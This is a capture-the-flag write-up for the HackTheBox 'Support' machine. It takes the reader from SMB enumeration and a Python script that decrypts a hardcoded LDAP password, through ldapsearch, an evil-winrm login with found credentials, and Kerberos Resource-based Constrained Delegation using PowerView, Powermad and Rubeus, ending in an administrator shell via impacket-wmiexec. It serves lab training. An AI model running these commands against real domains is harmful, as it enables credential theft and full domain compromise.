HackTheBox – Support Write-up

Hi everyone! This machine is an Active Directory machine where we have to enumerate SMB shared folder, use dnSpy to reverse engineer a .NET binary for LDAP credentials, LDAP query to find another user’s credentials, initial access via winrm, and privilege escalate using Kerberos Resource-based Constrained Delegation. Let’s get started!

smb: \> get UserInfo.exe.zip

As available software with version numbers is shown to us, a quick google allows me to find a possible privilege escalation vector using 7-Zip. I also found that UserInfo.exe.zip is interesting as there is no official software that is called UserInfo. This binary might contains user credentials.

dnSpy obtaining credentials

While loading into IDA Freeware, I noticed that the binary is a .NET file. Thus, analyzing with dnSpy will be more ideal.

I decided to check out the LdapQuery class since during enumeration, I found out that credentials for LDAP query are required. Since the software can do LDAP queries, it might contain hardcoded credentials for the query.

 

I decided to write a Python script to obtain the plaintext password.

import base64

enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = "armando".encode("UTF-8")

array = base64.b64decode(enc_password)
array2 = ""

for i in range(len(array)):
    array2 += chr(array[i] ^ key[i % len(key)] ^ 223)

print(array2)
PS C:\Users\lamecarrot\Desktop> py .\support_htb_crack.py
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

LDAP query

With the newly found credentials, we can do LDAP queries. While searching through the list of users, I noticed an interesting user which is also called support.

$ ldapsearch -v -x -b "DC=support,DC=htb" -H "ldap://$IP" "(objectclass=*)" "sAMAccountName" -D "support\\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' | grep sAMAccountName
...
# requesting: sAMAccountName

sAMAccountName: langley.lucy
sAMAccountName: daughtler.mabel

I decided to look into support’s information and found an interesting section called “info”.

$ ldapsearch -v -x -b "CN=support,CN=Users,DC=support,DC=htb" -H "ldap://$IP" "(objectclass=*)" -D "support\\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'

Initial access

Winrm

Looking at the ports open, we can see that port 5985 is open which is for winrm. We can use evil-winrm to login using the possible found credential.

$ sudo gem install evil-winrm
$ evil-winrm -i $IP -u "support" -p 'Ironside47pleasure40Watchful'
...
*Evil-WinRM* PS C:\Users\support\Documents> 

Giving it a try, I was able to login and obtained a shell.

User.txt

*Evil-WinRM* PS C:\Users\support\Desktop> dir

Privilege escalation

References:

Kerberos Resource-based Constrained Delegation

Firstly, we will need to download two PS scripts. Copy paste and execute the commands below in your attacking machine.

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1

Upload them via evil-winrm and import as modules.

upload PowerView.ps1
Import-Module .\PowerView.ps1
upload Powermad.ps1
Import-Module .\Powermad.ps1

We can check if users are allowed to create a new computer object on the domain. By default, a domain member can add up to 10 computers to the domain.

*Evil-WinRM* PS C:\Users\support\Desktop> Get-DomainObject -Identity "dc=support,dc=htb" -Domain support.htb

Now we have to check if the machine is at least Windows Server 2012.

*Evil-WinRM* PS C:\Users\support\Desktop> Get-DomainController

The victim machine is a Windows Server 2022.

Finally, we have to check if the target computer does not have the attribute msds-allowedtoactonbehalfofotheridentity set.

*Evil-WinRM* PS C:\Users\support\Desktop> hostname
dc
*Evil-WinRM* PS C:\Users\support\Desktop> Get-NetComputer dc | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
name msds-allowedtoactonbehalfofotheridentity
---- ----------------------------------------
DC

Create a new computer object

We can now create a new computer object. Paste the following in Powershell to create a new object and note the SID.

New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Get-DomainComputer fake01 -Properties objectsid

Let’s create a new raw security descriptor for the “fake01” computer principal. Remember to change the SID to the value you have just found as well as the DomainComputer’s hostname.

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1677581083-3380853377-188903654-5101)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Impersonate to get a ticket

Download Rubeus.exe into your attacking machine.

$ wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe

Upload into the victim’s machine via evil-winrm and generate a RC4 hash.

*Evil-WinRM* PS C:\Users\support\Desktop> upload Rubeus.exe
*Evil-WinRM* PS C:\Users\support\Desktop> .\Rubeus.exe hash /password:123456 /user:fake01 /domain:support.htb
...
[*] Action: Calculate Password Hash(es)

[*] Input password             : 123456
[*] Input username             : fake01
[*] Input domain               : support.htb
[*] Salt                       : SUPPORT.HTBfake01
[*]       rc4_hmac             : 32ED87BDB5FDC5E9CBA88547376818D4
[*]       aes128_cts_hmac_sha1 : 3E1A2E5F7675F6BA5C21FDEABFD92B93

[*]       des_cbc_md5          : E0795B98AEA1A16B

We can now a requesting a Kerberos ticket for fake01$ while impersonating an administrator. Remember to change your RC4 hash, username, and domain name.

*Evil-WinRM* PS C:\Users\support\Desktop> .\Rubeus.exe s4u /user:fake01$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

Let’s generate a ticket in the victim’s machine as psexec following the blog post won’t work since we are connecting back to the same machine. Once generated, we will need to download the ticket into our attacking machine.

Make the ticket usable and use it

In our Kali, install an older version of impacket as the latest have some issues for some of the tools, install klist (krb5-user), and pyasn1. We will also need to get ticket_converter.py. Copy and paste the following into your attacking machine.

wget https://raw.githubusercontent.com/zer1t0/ticket_converter/master/ticket_converter.py
pip3 install impacket==0.9.24
pip3 install pyasn1
sudo apt update
sudo apt install krb5-user

Next, destroy any tickets in your attacking machine, convert the ticket to Linux usable, set the new ticket’s path.

kdestroy
python3 ticket_converter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

We must set our hosts file to map the domain name and hostname to the victim’s IP address. Otherwise if we use the IP address instead, it will not work.

$ sudo nano /etc/hosts

127.0.0.1       localhost
127.0.1.1       kali

10.10.11.174 dc.support.htb support.htb

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Finally, we can use the ticket to get a shell in the victim’s machine.

$ impacket-wmiexec support.htb/administrator@dc.support.htb -no-pass -k
